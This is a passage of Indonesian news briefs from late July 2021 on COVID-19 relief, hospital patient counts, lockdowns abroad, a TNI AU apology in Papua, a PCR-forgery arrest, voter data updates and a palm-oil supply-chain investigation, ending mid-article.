Mataram, FNN - Alumni Akademi Kepolisian (Akpol) 1991 membagikan sembako kepada lurah, kepala desa, bhabinkamtibmas, babinpotdirga, babinpotmar serta babinsa di Nusa Tenggara Barat (NTB). Kapolda NTB Irjen Pol Mohammad Iqbal SIK MH menyerahkan bantuan secara simbolis kepada perwakilan masing-masing di tribun Lapangan Bhara Daksa Polda NTB, Kota Mataram, Kamis (29/7). Kapolda NTB menyatakan kegiatan tersebut bertujuan untuk mendarmabaktikan pengabdian alumni Akpol 91 dengan cara melakukan berbagai kegiatan sosial, seperti vaksinasi massal dan pemberian sembako kepada pihak-pihak yang membutuhkan dan memberikan penghargaan bagi yang berjasa. "Kita semua menyadari bahwa pandemi COVID-19 serta pelaksanaan PPKM Level 4 sangat berpengaruh pada tatanan perekonomian di Mataram. Oleh karena itu, alumni Akpol angkatan 91 Batalion Bhara Daksa berinisiatif untuk melaksanakan baksos dengan membagikan sembako kepada para babinsa, babinpotmar, babindirga, dan bhabinkamtibmas serta lurah maupun kepala desa," katanya seusai membuka acara apel pemberian bantuan. Menurutnya, penanganan COVID-19 melalui PPKM di NTB serta keberhasilan penanganan COVID-19 melalui program Kampung Sehat 1 dan 2 juga tidak lepas dari tugas dan tanggung jawab dari lurah, kepala desa, bhabinkamtibmas, babinsa, babinpotdirga, babinpotmar, camat, kapolsek, danramil, dan stakeholder yang lain, sehingga penanganan COVID-19 di NTB dapat terlaksana dengan baik. "Saya selaku Kapolda NTB memberikan apresiasi dan ucapan terima kasih atas dedikasinya selama bertugas dengan tidak mengenal risiko akan tertular Virus Corona. Yang ada dalam bertugas hanya harapan agar pandemi COVID-19 segera berakhir di negara kita ini," ujar Iqbal. Sembako tersebut berupa beras, gula pasir, minyak goreng, minuman, kecap, sarden, masker dan hand sanitizer. "Pemberian sembako ini sebagai tanda respek, terima kasih dan hormat kami para alumni Akpol 91 kepada para lurah, kepala desa, bhabinkamtibmas, babinsa, babinpotdirga, babinpotmar, camat, kapolsek, danramil se-Provinsi NTB atas dedikasinya yang tak kenal lelah, menjaga, mengimbau masyarakat sehingga COVID-19 dapat terkendali dengan baik di NTB," katanya pula. Selain memberikan bantuan sosial, Kapolda NTB juga menyempatkan diri untuk menyapa dan berkomunikasi dengan para babinsa, bhabinkamtibmas, lurah dan kepala desa melalui zoom meeting yang disaksikan Gubernur NTB, Danrem 162/WB, Wakapolda NTB, Irwasda, PJU Polda NTB, Wali Kota Mataram, Bupati Lobar, Danlanud ZAM, Danlanal Mataram, Dandim 1606, dan perwakilan babinsa, bhabinkamtibmas, babinpotdirga, babinpotmar yang hadir di tribun Lapangan Bhara Daksa. Gubernur NTB Dr H Zulkieflimansyah memberikan apresiasi kepada Kapolda NTB beserta jajarannya dan alumni Akpol 91 atas pemberian bantuan sosial (bansos) tersebut. "Kami memberikan apresiasi kepada Polda NTB yang telah memberikan bantuan sosial kepada warga yang membutuhkan maupun berjasa seperti yang halnya yang dibagikan hari ini. Satu apresiasi yang kadangkala lupa diberikan, padahal sesungguhnya mereka adalah orang-orang yang selalu memberikan kebaikan kepada kita semua," kata Bang Zul, sapaan akrab Gubernur NTB itu pula. (sws)

Pasien Rawat Inap RSDC Wisma Atlet Hari Ini Berkurang 167 Orang

Jakarta, FNN - Jumlah pasien yang dirawat di Rumah Sakit Darurat Khusus COVID-19 (RSDC) Wisma Atlet Kemayoran, Jakarta per Kamis, berkurang 167 orang, apabila dibandingkan dengan angka pada satu hari sebelumnya, Rabu (28/7), kata Kepala Penerangan Komando Gabungan Wilayah Pertahanan (Kogabwilhan) I Kolonel Marinir Aris Mudian. "Pasien rawat inap terkonfirmasi positif (COVID-19) di Tower 4, 5, 6 dan 7 sebanyak 3.068 orang, sementara jumlah semula (satu hari sebelumnya) 3.235 orang. Ada pengurangan jumlah pasien rawat inap sebanyak 167 orang," kata Aris menerangkan perkembangan situasi di RSDC Wisma Atlet Kemayoran, Jakarta, Kamis. Ia juga menyampaikan terhitung sejak 23 Maret 2020 sampai dengan 29 Juli 2021, atau dalam periode lebih dari satu tahun, jumlah pasien yang dirujuk ke RS Darurat Wisma Atlet mencapai 122.286 orang. Dari jumlah itu, 117.713 pasien COVID-19 telah dinyatakan sembuh dan keluar dari rumah sakit, sementara 965 pasien dirujuk ke rumah sakit lain. Sejauh ini, Kepala Penerangan Kogabwilhan I TNI mencatat jumlah pasien meninggal di RS Darurat Wisma Atlet per 29 Juli 2021 sebanyak 540 orang. Dalam kesempatan yang sama, Aris juga menyampaikan perkembangan situasi di RSDC Rumah Susun Nagrak, yang menjadi tempat isolasi mandiri pasien COVID-19 tanpa gejala. Per 29 Juli 2021, jumlah pasien yang dirawat di RSDC Rusun Nagrak sebanyak 152 orang, sementara pada Rabu ada 170 orang. Artinya, ada pengurangan 18 pasien dalam waktu 24 jam terakhir. Sejak 28 Juni sampai dengan 29 Juli, total ada 9.069 orang yang menjalani isolasi di RSDC Rusun Nagrak. Dari angka itu, 8.460 orang telah menyelesaikan masa isolasi dan 43 orang lainnya dirujuk ke RS lain. Situasi terbaru di RSDC Rusun Pasar Rumput, per Kamis, ada 365 pasien rawat inap COVID-19, sementara pada satu hari sebelumnya ada 277 pasien. Artinya, ada penambahan 88 orang dalam 24 jam terakhir. Sejak 18 Juni 2022 sampai dengan 29 Juli 2021, ada 403 orang yang menjalani isolasi di RSDC Rusun Pasar Rumput. Dari jumlah itu, 33 di antaranya telah menyelesaikan masa isolasi, dan satu orang dirujuk ke RS lain. Sedangkan di Rumah Sakit Khusus Infeksi (RSKI) Pulau Galang, Batam, Kepulauan Riau, per Kamis, ada 328 orang yang menjalani rawat inap. "Pasien rawat inap ada 328 orang, di antaranya 255 orang pria dan 73 perempuan. 328 pasien itu seluruhnya terkonfirmasi positif COVID-19," ujar Aris sebagaimana dikutip dari keterangan tertulisnya. Kepala Penerangan Kogabwilhan I TNI itu mencatat ada pengurangan jumlah pasien rawat inap di RSKI Pulau Galang dalam waktu 24 jam terakhir sebanyak tiga orang. "Pasien rawat inap per 29 Juli 2021 sebanyak 328 orang, semula (satu hari sebelumnya) 331 orang. Ada pengurangan jumlah pasien rawat inap sebanyak tiga orang," kata dia menegaskan. Terhitung sejak 12 April 2020 sampai dengan 29 Juli 2021, RSKI Pulau Galang telah menerima total 15.176 pasien. Dari jumlah itu, 7.509 pasien telah dinyatakan sembuh, 42 pasien dirujuk ke rumah sakit lain, dan 7.297 pasien suspek telah selesai menjalani perawatan, kata Kolonel Marinir Aris Mudian, Kamis. Sejauh ini, RSKI Pulau Galang belum melaporkan adanya korban jiwa akibat COVID-19 sejak rumah sakit itu beroperasi selama lebih dari satu tahun. (sws)

Otoritas Sydney Minta Bantuan Militer Terapkan Pembatasan Pergerakan

Sydney, FNN - Kota terbesar di Australia, Sydney, melaporkan peningkatan kasus COVID-19 harian tertinggi pada Kamis dan mengeluarkan peringatan bahwa penyebaran virus itu masih dapat memburuk lagi. Angka dan peringatan tersebut datang saat otoritas meminta bantuan angkatan militer untuk menegakkan pemberlakuan karantina terhadap enam juta penduduk, yang akan memasuki pekan keenam. Australia telah kesulitan untuk menahan penyebaran varian Delta yang sangat mudah menular di dalam dan di sekitar kota Sydney dalam beberapa pekan terakhir, yang mengancam ekonomi negara tersebut, senilai dua triliun dolar Australia, untuk terdorong ke dalam resesi kedua dalam beberapa tahun. Meski penguncian diperpanjang di Sydney, yang merupakan ibu kota negara bagian, New South Wales mencatat 239 kasus dari transmisi lokal dalam 24 jam terakhir. angka tersebut merupakan kenaikan harian terbesar sejak pandemi dimulai. “Kami hanya dapat berasumsi bahwa segala sesuatunya cenderung menjadi lebih buruk sebelum menjadi lebih baik, mengingat jumlah orang yang dapat menularkan virus di komunitas,” kata pimpinan New South Wales Gladys Berejiklian kepada wartawan di Sydney. Berejiklian mengatakan bahwa satu orang lagi telah meninggal dunia akibat COVID-19, sehingga total kematian dari penyebaran terbaru mencapai 13 dan penghitungan kematian nasional mencapai 921. Dengan sedikitnya pertanda bahwa pembatasan baru-baru ini mengurangi jumlah kasus, Berejiklian mengatakan bahwa pembatasan terbaru akan diberlakukan di wilayah barat daya dan barat Sydney, di mana sebagian besar kasus COVID-19 ditemukan. Dengan pembatasan yang lebih ketat yang akan dimulai pada hari Jumat, Polisi New South Wales mengatakan telah meminta 300 personel militer untuk membantu menegakkan perintah penguncian. “Dengan peningkatan aktivitas penegakan selama minggu mendatang, saya sekarang telah membuat permintaan resmi kepada perdana menteri untuk personel (Angkatan Pertahanan Australia) untuk membantu operasi itu,” kata Komisaris Polisi New South Wales Mick Fuller dalam sebuah pernyataan melalui email. Pada hari Rabu, Berejiiklian memperpanjang penguncian di Sydney untuk satu bulan lagi, namun mengizinkan sebagian proyek konstruksi untuk dilanjutkan selama pekerja tidak melakukan kontak dengan penduduk. Pembatasan tersebut diperkirakan akan dapat memakan banyak korban dari segi ekonomi, dengan New South Wales yang berkontribusi terhadap sepertiga ekonomi Australia. Meski demikian, Berejiklian mengatakan pembatasan perlu tetap dilakukan karena terlalu sedikit orang di Sydney yang telah divaksin, di tengah persediaan vaksin Pfizer yang terbatas. Semua orang dewasa di Sydney kini telah didesak untuk mencari vaksin AstraZeneca. Tetapi dengan alasan pembekuan darah yang langka, banyak yang enggan dan lebih memilih menunggu beberapa bulan ketika Australia diperkirakan akan menerima pasokan vaksin tambahan buatan Pfizer. Hanya sekitar 17 persen warga di atas 16 tahun yang telah divaksinasi lengkap di New South Wales. Sejauh ini, lebih 2.800 kasus telah terdeteksi, dengan 182 orang dirawat di rumah sakit, sementara 54 berada dalam perawatan intensif dan 22 di antaranya membutuhkan ventilasi. (sws)

Bima Arya: Perlu Kolaborasi Bantu Warga Terdampak Pandemi COVID-19

Bogor, FNN - Ketua Satgas Penanganan COVID-19 Kota Bogor Bima Arya mengatakan dalam kondisi pandemi COVID-19 yang berkepanjangan saat ini dibutuhkan kontribusi dan peran aktif dari semua pihak untuk berkolaborasi membantu meringankan beban warga terpapar dan terdampak. Bima Arya di Kota Bogor, Kamis, mengatakan hal itu menyikapi pandemi COVID-19 yang berkepanjangan dan belum diketahui akan berakhir kapan. Bima Arya mengajak warga Kota Bogor dan semua pihak, untuk bersama-sama berikhtiar melakukan apa yang dapat dilakukan untuk meringankan beban warga terpapar COVID-19 dan terdampak ekonomi akibat pandemi. Menurut Bima Arya, untuk penanganan COVID-19 di Kota Bogor, Pemerintah Kota Bogor menyiapkan anggaran melalui APBD Kota Bogor, tapi tidak bisa maksimal, sehingga diperlukan kolaborasi dengan semua pihak. Wali Kota Bogor itu menyatakan banyak warga yang dari hari ke hari bekerja keras untuk menyambung hidupnya, di antaranya buruh harian lepas, karyawan yang dirumahkan dan lainnya. "Mereka ini harus kita bantu," katanya. Bima Arya yang menggagas dibukanya Posko Logistik Darurat, pada pelaksanaan PPKM Darurat, mulai 3 Juli lalu, menghimpun bantuan logistik dan lainnya, dari berbagai pihak, baik dari Kota Bogor maupun dari luar Kota Bogor. Bima Arya menyambut baik dan mengucapkan terima kasih kepada semua donator yang telah mendonasikan bantuannya kepada Satgas Penanganan COVID-19 Kota Bogor. Misalnya, pada Rabu (28/7), ada bantuan paket sembako dari Asosiasi Pengusaha Indonesia (Apindo) cabang Kota Bogor, dari enam BUMN, dari kelompok Vespa Ulin, dari Yayasan Karuna Mitta Wijaya, dan lainnya. Menurut Bima Arya, bantuan yang disampaikan adalah ikhtiar bersama untuk membantu warga yang sedang menjalani isoman dan warga terdampak ekonomi. "Kami mengajak semua pihak untuk dapat melakukan, apa yang bisa dilakukan untuk membantu warga terpapar dan terdampak," katanya. Bima Arya juga menyatakan, menyambut baik dan mengucapkan terima kasih kepada donatur yang memberikan bantuan. "Bantuan ini tidak hanya menambah logistik, tapi juga menambah motivasi bagi kami untuk menyalurkan kepada warga yang betul-betul membutuhkan," katanya. (sws)

Pangkoopsau III Minta Maaf Kepada Masyarakat PapuaInsiden Merauke

Jakarta, FNN - Panglima Koopsau (Pangkoopsau) III Marsda TNI Bowo Budiarto menyampaikan permintaan maaf TNI Angkatan Udara (AU) kepada tokoh adat, tokoh agama, pemuda, tokoh masyarakat Papua dalam pertemuan Forum Koordinasi Pimpinan Daerah (Forkopimda) Papua, di Jayapura, Kamis. Pertemuan yang berlangsung di Lanud Silas Papare tersebut dalam rangka menindaklanjuti perintah Panglima TNI Marsekal Hadi Tjahjanto dan Kepala Staf Angkatan Udara (Kasau) Marsekal TNI Fadjar Prasetyo terkait tindak kekerasan yang dilakukan oleh oknum prajurit TNI AU Lanud Merauke terhadap warga sipil penyandang disabilitas yang viral di media sosial. "Panglima TNI sangat menyesali kejadian dua anggota Pomau Lanud JA Dimara yang bersikap dan bertindak berlebihan kepada seorang warga sipil penyandang disabilitas, dan ini merupakan kegagalan seorang komandan dalam membina anggotanya," kata Bowo, dikutip dari siapan pers Puspen Koopsau III. Bowo mengungkapkan, atas insiden tersebut, Panglima TNI telah memerintahkan untuk mencopot Komandan Lanud dan Komandan Satpomau Lanud JA Dimara. "Perintah ini sudah ditindaklanjuti oleh Kasau, dan besok saya akan berangkat ke Merauke untuk melantik pejabat baru, sekaligus akan mendalami dan mengevaluasi kejadian tersebut, agar tidak terulang lagi di kemudian hari," kata Bowo. Menurut Bowo, Kasau menyesali dan menegaskan bahwa tindakan ini merupakan sikap yang berlebihan dari seorang prajurit, dan ini merupakan tindakan di luar perintah kedinasan. "Untuk itu Kasau akan menindak secara tegas terhadap pelaku yang berbuat kesalahan, dan seperti diketahui bersama Kasau sudah menyampaikan permohonan maaf secara terbuka kepada saudara-saudara kita di Papua, khususnya warga di Merauke, serta kepada pihak korban dan keluarganya," ujar Bowo. Bowo juga menyampaikan permohonan maaf TNI AU kepada pejabat Pemerintah Provinsi Papua, pejabat forkopimda, para tokoh adat, tokoh agama, tokoh masyarakat dan seluruh saudara-saudara kami di wilayah Papua, atas kejadian yang menimpa warga di Merauke, yang dilakukan oleh anggota TNI AU Lanud JA Dimara. "Semua perintah Panglima TNI dan Kasau sudah kami tindaklanjuti, dan kami sangat berterima kasih kepada masyarakat dan korban tindak kekerasan serta keluarganya telah membukakan pintu maaf," ujar Bowo. Hadir dalam pertemuan tersebut, Danlanud Silas Papare Marsma TNI Budi Ahmadi, dilanjutkan sambutan Sekda Provinsi Papua Dance Yulian Flassy, Ketua FKPPI Papua, Ketua Komnas HAM Papua Frits Ramanday, dan Ketua Lembaga Masyarakat Adat Papua George Alwi. Dalam pertemuan tersebut, Danlanud Silas Papare Marsma TNI Budi Ahmadi memaparkan kronologis kejadian yang dilakukan oleh dua oknum anggota Lanud JA Dimara terhadap seorang warga sipil di Merauke beberapa waktu lalu. Usai paparan dari masing-masing pejabat dan tokoh masyarakat Papua, agenda dilanjutkan dengan diskusi membahas tentang upaya-upaya penyelesaian secara damai di tingkat pimpinan daerah dan tokoh masyarakat, berlangsung di Gedung Megantara Lanud Silas Papare. Terdapat tiga poin dari hasil kesimpulan diskusi tersebut, yakni menuntut TNI AU memproses kejadian tersebut dengan tegas dan ini sudah ditindaklanjuti oleh Panglima TNI dan Kasau, Kedua, mengawal jalannya proses hukum dan melaksanakan interogasi yang akan dilakukan oleh Komnas HAM. Ketiga, mengapresiasi tindakan yang diambil Panglima TNI dan Kasau. (sws)

Jerman Wajibkan Bukti Kekebalan COVID atau Hasil Tes Negatif Saat Ketibaan

Berlin, 29/7 (ANTARA) - Semua pelancong yang tiba di Jerman diwajibkan untuk menunjukkan surat vaksinasi atau pernah terinfeksi COVID-19 sebelumnya sebagai bukti kekebalan terhadap virus tersebut, atau menunjukkan hasil tes negatif, mulai akhir pekan ini. Rencana tersebut dilaporkan oleh majalah Der Spiegel dengan mengutip sebuah dokumen kementerian kesehatan. Kebijakan itu mencerminkan kekhawatiran yang meningkat di kalangan pimpinan regional dan nasional Jerman bahwa peningkatan jumlah kasus di tujuan-tujuan wisata dapat mendorong terjadinya gelombang keempat penyebaran COVID-19, saat para warga Jerman kembali dari liburan. “Tingkat kejadian di Jerman saat ini terbilang lebih rendah dibandingkan negara lain,” demikian majalah tersebut dalam laporan tertanggal Rabu (28/7). “Peningkatan kegiatan perjalanan berisiko untuk mengubah tren itu." Jerman kini mewajibkan hasil tes negatif atau bukti kekebalan hanya dari mereka yang datang dari "daerah berisiko", "daerah dengan insiden tinggi" dan "daerah varian virus", yang di Eropa sekarang termasuk Inggris, Spanyol, dan Belanda. Aturan yang berlaku juga diterapkan secara berbeda di bandara dan penyeberangan jalan, dan para pemimpin daerah ingin membuatnya lebih konsisten. Jerman mencatat 3.142 infeksi baru pada hari Kamis, menurut badan pengendalian penyakit utamanya, Institut Robert Koch untuk Penyakit Menular. Rata-rata kasus baru harian di Inggris mencapai hampir 30.000. Setelah awal yang lambat, Jerman dengan cepat melaksanakan vaksinasi luas, dengan 61,3 persen dari populasi telah menerima setidaknya satu suntikan, dan secara dramatis mengurangi keparahan penyakit dan angka kematian. (sws)

Polres Bitung Tangkap Oknum PNS Pemalsu Hasil Swab PCR

Manado, FNN - Satuan Reserse Kriminal (Satreskrim) Polres Bitung menangkap seorang oknum PNS di lingkungan Pemerintah Provinsi Sulawesi Utara diduga pelaku pembuatan surat keterangan hasil pemeriksaan swab polymerase chain reaction (PCR) COVID-19 palsu. Kapolres Bitung AKBP Indrapramana melalui konferensi pers, di Bitung, Kamis, mengatakan terungkapnya kasus yang cukup menghebohkan publik ini berawal pada Sabtu (24/7) malam, di Pelabuhan Bitung. Bermula dari laporan petugas di Kantor Kesehatan Pelabuhan (KKP) Bitung tentang adanya penggunaan surat hasil swab PCR palsu. Kemudian, pada Minggu (25/7), Tim Satreskrim Polres Bitung melakukan penyelidikan, dan mendapat informasi bahwa pengguna hasil swab PCR palsu itu berdomisili di Amurang, Minahasa Selatan. “Tim satreskrim kemudian ke Amurang dan menginterogasi pengguna hasil swab PCR palsu tersebut. Dan diperoleh info bahwa perantara pembuatan hasil swab PCR palsu beralamat di Mapanget, Manado,” katanya. Pada hari yang sama, tim mendatangi perantara tersebut, kemudian juga diinterogasi. Dia menyatakan, pembuat hasil swab PCR palsu tersebut adalah HES. "Tak mau kehilangan target utama, tim segera melacak keberadaan pelaku, dan akhirnya diamankan di wilayah Dimembe, Minahasa Utara," katanya pula. Kapolres mengatakan, pelaku mengaku membuat dan mencetak surat hasil swab PCR palsu menggunakan laptop dan printer miliknya. “Tim lalu menuju rumah pelaku dan mengamankan sejumlah barang bukti. Antara lain satu buah laptop, satu buah printer, satu buah flashdisk, dan satu hasil swab PCR palsu, serta satu asli,” katanya lagi. Modus yang dilakukan, pelaku menunggu siapa pun yang memerlukan ‘jasanya’ untuk membuat hasil swab PCR palsu. Pelaku telah memiliki format file hasil swab PCR yang tersimpan di laptop. “Jika ada yang memesan, pelaku lalu mengubah identitas yang ada dalam format tersebut dengan identitas pemesan atau pengguna, termasuk mengubah tanggal sesuai penggunaannya,” kata Kapolres. Untuk meyakinkan pemesan, pelaku juga selalu meminta KTP, hasil swab antigen serta Surat Keterangan Perjalanan dari desa/kelurahan. “Pelaku memasang tarif setiap pembuatan hasil swab PCR palsu ini dengan harga bervariasi, mulai dari Rp800 ribu hingga Rp1,5 juta. Dan pelaku mengaku telah membuat hasil swab PCR palsu ini kurang lebih lima kali,” katanya pula. Kapolres menambahkan, pelaku beserta barang bukti telah diamankan dan ditahan di Mapolres Bitung. “Pelaku dijerat Pasal 263 ayat (1) KUHP subpasal 268 ayat (1) KUHP, dengan ancaman hukuman pidana penjara paling lama 6 tahun,” kata Kapolres. (sws)

Menteri Tjahjo: Inovasi Pelayanan Publik Harus Terus Bertransformasi

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PANRB) Tjahjo Kumolo mengatakan inovasi pelayanan publik harus terus bertransformasi seiring perubahan dan tantangan zaman. “Inovasi terutama dalam hal pelayanan publik harus terus bertransformasi dan terus dimodifikasi sesuai dengan perkembangan dan tantangan yang ada. Penyebaran inovasi melalui replikasi dan keberlanjutan harus menjadi perhatian dalam pengembangan inovasi pelayanan publik," kata Menteri Tjahjo pada acara penyampaian top inovasi pelayanan publik terpuji KIPP 2021 di Jakarta, Kamis. Ia mengatakan inovasi tidak hanya menuntut kebaruan tapi harus bisa direplikasi atau dimodifikasi sesuai kebutuhan serta karakteristik masyarakat Indonesia di berbagai daerah. Terlebih, saat ini dunia dan Indonesia tengah menghadapi era adaptasi kebiasaan baru akibat pandemi COVID-19. Sementara itu, sejak 2014, kompetisi inovasi pelayanan publik (KIPP) telah memicu pemerintah pusat, daerah, dan BUMN untuk dapat menciptakan inovasi. Ajang tahunan tersebut telah melahirkan ribuan inovasi yang telah menyejahterakan masyarakat di berbagai wilayah Indonesia. Oleh karenanya, Kementerian PANRB berkomitmen melakukan percepatan dan upaya luar biasa agar menciptakan perubahan kepada tradisi, pola, serta cara baru terutama dalam meningkatkan inovasi di lingkup instansi pemerintah untuk mencapai visi reformasi birokrasi. Bagi Menteri Tjahjo, KIPP bukan sekadar kompetisi atau lomba tahunan untuk mencari pemenang. KIPP bertujuan membiasakan budaya berinovasi di kalangan birokrasi, menjaring inovasi pelayanan publik oleh instansi pemerintah, memberi apresiasi bagi penyelenggara yang berkinerja luar biasa dalam memberikan pelayanan. KIPP juga bertujuan memotivasi penyelenggara pelayanan publik untuk meningkatkan inovasi dan profesionalisme dalam pemberian pelayanan publik. Menteri Tjahjo menegaskan, inovasi adalah energi untuk menciptakan perubahan. Inovasi adalah solusi untuk mengatasi permasalahan dan inovasi adalah modal untuk memenangkan persaingan. Dia meminta agar para inovator dan setiap instansi dapat saling melaksanakan studi tiru dan juga memanfaatkan satu data untuk dapat saling bersinergi demi terwujudnya percepatan pembangunan pelayanan publik yang terstandar. (sws)

Anggota DPR Ajak Elemen Bangsa Berempati Warga Terkena Dampak Pandemi

Jakarta, FNN - Wakil Ketua Komisi II DPR RI Junimart Girsang mengajak semua elemen bangsa untuk berempati kepada masyarakat yang terdampak pandemi COVID-19 dan kebijakan pemberlakuan pembatasan kegiatan masyarakat (PPKM) dengan cara memberikan bantuan terhadap warga. Ia kembali menggugah empati dari para wakil rakyat di DPR RI hingga DPRD tingkat I dan II, para menteri, dan pejabat pemerintahan untuk menyisihkan 50 persen gajinya untuk membantu masyarakat. "Kita berempati, tetap berusaha berbagi dengan sesama, apalagi pada masa pademi ini masyarakat banyak yang terdampak. Walaupun sedikit, bisa terasa manis," kata Junimart dalam keterangannya di Jakarta, Kamis. Sebelumnya Junimart telah mewacanakan penyisihan 50 persen gaji tersebut untuk membantu masyarakat terdampak COVID-19 dan PPKM dengan menyisihkan gaji selama 2 bulan dari gaji pada bulan Juli dan Agustus. Sebagai anak bangsa, kata dia, saat ini pantang hanya menuntut tanggung jawab pemerintah untuk menghadapi dan mengatasi pandemi COVID-19. "Ini tanggung jawab kita bersama, khususnya tanggung jawab para wakil rakyat dari tingkat pusat sampai daerah. Karena para wakil rakyat adalah personifikasi rakyat," ujarnya. Selain itu, Junimart menyampaikan apresiasi kepada tim sukarelawan Junimart Girsang Center (JGC) yang bergotong royong menyalurkan kembali bantuan berupa beras kepada masyarakat terdampak pandemi COVID-19 dan PPKM di 10 kabupaten/kota. Ia menyebutka ke-10 kabupaten/kota tersebut, yakni Kabupaten Langkat, Kota Binjai, Kabupaten Tanah Karo, Kabupaten Dairi, Kabupaten Pakpak Bharat, Kota Siantar, Kabupaten Simalungun, Kabupaten Batubara, Kabupaten Asahan, dan Kota Tanjung Balai. "Untuk kegiatan kali ini dimulai sejak 26 Juli 2021, tim relawan Junimart Girsang Center menyalurkan kembali bantuan berupa beras kepada masyarakat di sepuluh kabupaten dan kota di Sumut," ujarnya. Kegiatan tersebut, kata Junimart, telah dilakukan secara berkala sejak Mei 2020 sebagai rasa tanggung jawab moral kemanusiaan dengan penyaluran dimulai dari pembagian beras, penyemprotan desinfektan massal, pembagian masker, pembersih tangan, dan sembako. (sws)

KPU Kudus Lakukan Pemutakhiran Data Pemilih

Kudus, FNN - Komisi Pemilihan Umum (KPU) Kabupaten Kudus, Jawa Tengah, melakukan pemutakhiran data pemilih karena data kependudukan sangat dinamis sehingga pemutakhiran harus secara rutin. Menurut anggota KPU Kabupaten Kudus Ahmad Kholil, hasil pemutakhiran data pemilih yang ditetapkan melalui rapat pleno pada hari ini (29/7) secara daring tercatat sebanyak 613.325 pemilih. Dari jumlah sebanyak itu, kata dia, terdiri atas 301.707 laki-laki dan 311.618 perempuan. Penetapan dalam pleno tersebut telah sesuai dengan Undang-Undang Nomor 7 Tahun 2017 tentang Pemilihan Umum dan Surat Ketua KPU RI tanggal 21 April 2021 Nomor 366/2021 perihal Perubahan Surat Ketua KPU RI Nomor 132/2021 perihal Pemutakhiran Data Pemilih Berkelanjutan Tahun 2021. Selain itu, kata dia, rapat pleno juga menetapkan perubahan daftar pemilih berkelanjutan periode Juli berupa 47 pemilih tidak memenuhi syarat, tambahan pemilih baru nihil, dan 82 pemilih yang mengalami perubahan/perbaikan data. Dengan pemutakhiran data pemilih berkelanjutan, dia berharap data pemilih di daerah ini selalu diperbarui. Selain itu, lanjut dia, ketika dalam waktu dekat digelar pemilihan umum, data pemilihnya sudah siap. Dalam rangka menjaga data pemilih tetap update, pihaknya siap menerima masukan dari masyarakat ketika ada keluarganya yang pindah alamat atau meninggal dunia. (sws)

Kilang Minyak Sawit Terungkap Menerima Pasokan Minyak Sawit dari Perusahaan Nakal

Aceh, FNN - Investigasi lapangan RAN menemukan PT Rezeki Fajar Andalan sebagai pabrik baru yang terlibat dalam perusakan Kawasan Ekosistem Leuser. Laporan Leuser Watch terbaru dari Rainforest Action Network (RAN) mengungkap keterlibatan PT Rezeki Fajar Andalan (PT RFA) sebagai kilang minyak sawit baru yang menerima pasokan minyak sawit bermasalah dari PT Surya Panen Subur (SPS II) —perusahaan nakal yang terkenal karena membakar dan menghancurkan “Ibukota Orangutan Dunia” di Kawasan Ekosistem Leuser. Hasil investigasi menemukan truk pengangkut minyak sawit dari Pabrik Kelapa Sawit (PKS) milik SPS II Kecamatan Darul Makmur Kabupaten Nagan Raya memasok minyak sawit ke PT. RFA yang berada di Kabupaten Deli Serdang, Sumatera Utara pada April 2021, selain itu ditemukan juga bukti pengiriman minyak sawit mentah dari PT. SPS II kepada PT. RFA pada bulan yang sama, padahal RAN selama bertahun-tahun telah mendokumentasikan PT. SPS II sebagai perusahaan nakal yang dikeluarkan dari rantai suplai minyak sawit dunia karena terus terlibat aktivitas deforestasi dan konflik lahan, bahkan perusahaan ini pernah dibawa ke pengadilan dan didenda karena terbukti melanggar hukum membakar hutan lahan gambut Tripa yang terletak di pantai barat Aceh. Merek besar seperti PepsiCo dan Nestlé menyikapi reputasi buruk PT. SPS II dengan memberlakukan kebijakan 'No Buy' (tidak membeli) dari perusahaan nakal ini. Bahkan perusahaan pedagang minyak sawit raksasa seperti Golden Agri Resources, Wilmar dan Musim Mas sudah memberlakukan larangan untuk memasok dari PT SPS II, meski hingga saat ini tidak ada satu pun dari perusahaan pemasok minyak sawit tersebut yang mampu membuktikan bahwa pelarangan tersebut telah ditegakkan sepenuhnya. “PT Rezeki Fajar Andalan kini menjadi salah satu perusahaan minyak sawit bermasalah yang patut disorot di Indonesia karena memasok minyak sawit dari PT SPS II —perusahaan yang telah terbukti melanggar hukum Indonesia dan kebijakan perusahaan manufaktur barang konsumsi di seluruh dunia.” ungkap Gemma Tillack, Direktur Kebijakan Hutan RAN. “Sedangkan PT SPS II akan tetap menjadi perusahaan paling kontroversial yang tidak patuh pada aturan hukum di Indonesia hingga mau memenuhi kewajibannya membayar denda atas kebakaran yang terjadi di lahan gambut Tripa dan ikut terlibat dengan itikad baik dalam proses resolusi konflik yang transparan, kredibel dan independen untuk menyelesaikan konflik dengan masyarakat lokal yang terkena dampak operasionalnya”, Gemma menambahkan. Laporan investigasi terbaru ini menunjukkan bahwa merek-merek besar mungkin sekali lagi mendapatkan pasokan dari perusahaan minyak sawit nakal seperti SPS II melalui pabrik minyak sawit baru yang terlibat dalam rantai pasokan minyak sawit di Sumatera. Ini jadi hal yang mendesak bagi merek-merek besar dunia seperti, Ferrero, Procter & Gamble, Mondelēz, PepsiCo, Mars, Nestlé dan Unilever untuk menempatkan PT Rezeki Fajar Andalan pada daftar 'Tidak Membeli' dan menuntut agar perusahaan menghentikan suplai dari PT SPS II serta mendorong perusahaan-perusahaan yang terlibat dalam rantai pasoknya untuk mengadopsi Kebijakan Nol Deforestasi, Nol Pembangunan di Lahan Gambut dan Nol Eksploitasi (NDPE). Jika perusahaan-perusahaan ini gagal melakukannya, perusahaan tersebut harus diblokir secara permanen dari rantai pasok minyak sawit ke merek-merek besar dunia dan pasar global. (sws).

Roro Esti Tolak Anggota DPR Dapat Fasilitas Hotel untuk Isoman

Jakarta, FNN - Anggota Komisi VII DPR Dyah Roro Esti menolak dengan tegas adanya kebijakan pemberian fasilitas hotel bintang tiga bagi anggota legislatif hingga staf yang tengah menjalani isolasi mandiri (isoman) COVID-19. "Banyak sekali lapisan masyarakat yang kini tidak mempunyai rumah layak huni dan tidak mempunyai rumah untuk isoman, sehingga alokasi anggaran untuk anggota dewan itu lebih tepat diarahkan untuk masyarakat yang lebih membutuhkan," katanya dalam keterangannya di Jakarta, Kamis. Menurut Roro Esti, alokasi anggaran tersebut lebih tepat dan jauh lebih bermanfaat untuk masyarakat yang memang membutuhkan di daerah pemilihan masing-masing Anggota DPR. Alumni Imperial College London ini mengatakan penerapan pemberlakuan pembatasan kegiatan masyarakat (PPKM) level 4 ini telah berdampak pada ekonomi masyarakat. Oleh karena itu, lanjutnya, penerapan PPKM yang bertujuan menekan laju kasus COVID-19 di Tanah air, harus tetap menghitung dampaknya pada masyarakat. Saat ini, menurut Roro Esti, Indonesia sedang 